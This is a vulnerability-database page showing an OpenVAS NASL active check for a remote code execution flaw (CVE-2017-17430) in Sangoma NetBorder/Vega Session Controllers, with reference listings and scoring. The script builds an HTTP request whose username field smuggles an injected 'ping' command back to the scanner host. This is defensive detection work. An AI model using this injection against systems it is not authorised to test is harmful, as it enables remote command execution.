Lucene search
+L

Sangoma NetBorder/Vega Session Controller < 2.3.12-80-GA RCE Vulnerability - Active Check

🗓️ 11 Jan 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 98 Views

Sangoma NetBorder/Vega Session Controller RCE Vulnerability - Active Check for versions < 2.3.12-80-G

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2017-17430
7 Dec 201708:29
attackerkb
cnvd
CNVD
Sangoma NetBorder/Vega Session Controller Command Execution Vulnerability
12 Dec 201700:00
cnvd
cve
CVE
CVE-2017-17430
7 Dec 201708:00
cve
cvelist
Cvelist
CVE-2017-17430
7 Dec 201708:00
cvelist
euvd
EUVD
EUVD-2017-8595
7 Oct 202500:30
euvd
nvd
NVD
CVE-2017-17430
7 Dec 201708:29
nvd
osv
OSV
CVE-2017-17430
7 Dec 201708:29
osv
prion
Prion
Design/Logic Flaw
7 Dec 201708:29
prion
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:sangoma:session_border_controller_firmware";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.112184");
  script_version("2026-03-12T05:56:11+0000");
  script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
  script_tag(name:"creation_date", value:"2018-01-11 12:32:00 +0100 (Thu, 11 Jan 2018)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");

  script_cve_id("CVE-2017-17430");

  # nb: While other ICMP relevant VTs are using it there is no need to use "remote_analyis" here as
  # the checks below are more reliable.
  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Sangoma NetBorder/Vega Session Controller < 2.3.12-80-GA RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_sangoma_sbc_consolidation.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("sangoma/sbc/http/detected");

  script_tag(name:"summary", value:"Sangoma NetBorder/Vega Session Controller is prone to a remote
  code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the target is
  sending an ICMP Echo Request back to the scanner host.

  Note: For a successful detection of this flaw the scanner host needs to be able to directly
  receive ICMP Echo Requests (Type 8) from the target.");

  script_tag(name:"impact", value:"Successfully exploiting this issue may allow an attacker to
  execute arbitrary code in the context of the affected application.");

  script_tag(name:"affected", value:"Sangoma NetBorder/Vega Session Controller prior to version
  2.3.12-80-GA.");

  script_tag(name:"solution", value:"Update to version 2.3.12-80-GA or later.");

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2018/Jan/36");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("dump.inc");
include("list_array_func.inc");
include("pcap_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );

url = "/";
headers = make_array( "Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary7rCkcn7Zm8a4V1bH" );

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  vtstrings = get_vt_strings();
  check = vtstrings["ping_string"];
  pattern = hexstr( check );
  pingcmd = "ping -c 3 -p " + pattern + " " + connect_back_target;

  post_data = '------WebKitFormBoundary7rCkcn7Zm8a4V1bH\r\nContent-Disposition: form-data; name="reserved_username"\r\n\r\na; ' + pingcmd + ';\r\n' +
              '------WebKitFormBoundary7rCkcn7Zm8a4V1bH\r\nContent-Disposition: form-data; name="reserved_password"\r\n\r\nabc\r\n' +
              '------WebKitFormBoundary7rCkcn7Zm8a4V1bH\r\nContent-Disposition: form-data; name="Login"\r\n\r\nLogin\r\n' +
              '------WebKitFormBoundary7rCkcn7Zm8a4V1bH--\r\n';

  req = http_post_put_req( port:port, url:url, data:post_data, add_headers:headers );

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames /
  # vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason: If
  # the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  res = send_capture( socket:soc, data:req, pcap_filter:filter );

  close( soc );

  if( ! res )
    continue;

  type = get_icmp_element( icmp:res, element:"icmp_type" );
  if( ! type || type != 8 )
    continue;

  if( ! data = get_icmp_element( icmp:res, element:"data" ) )
    continue;

  # nb:
  # - Like seen on / in e.g.
  #   - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
  #   - GS-9790
  # - We can easily rule out this one as not a valid response...
  if( "PING by PRTG" >< data )
    continue;

  if( check >< data ) {
    report = http_report_vuln_url( port:port, url:url );
    report += '\n\nIt was possible to execute the command "' + pingcmd + '" on the remote host.\n\nRequest:\n\n' + req + '\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2026 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 27.5
CVSS 39.8
EPSS0.01847
98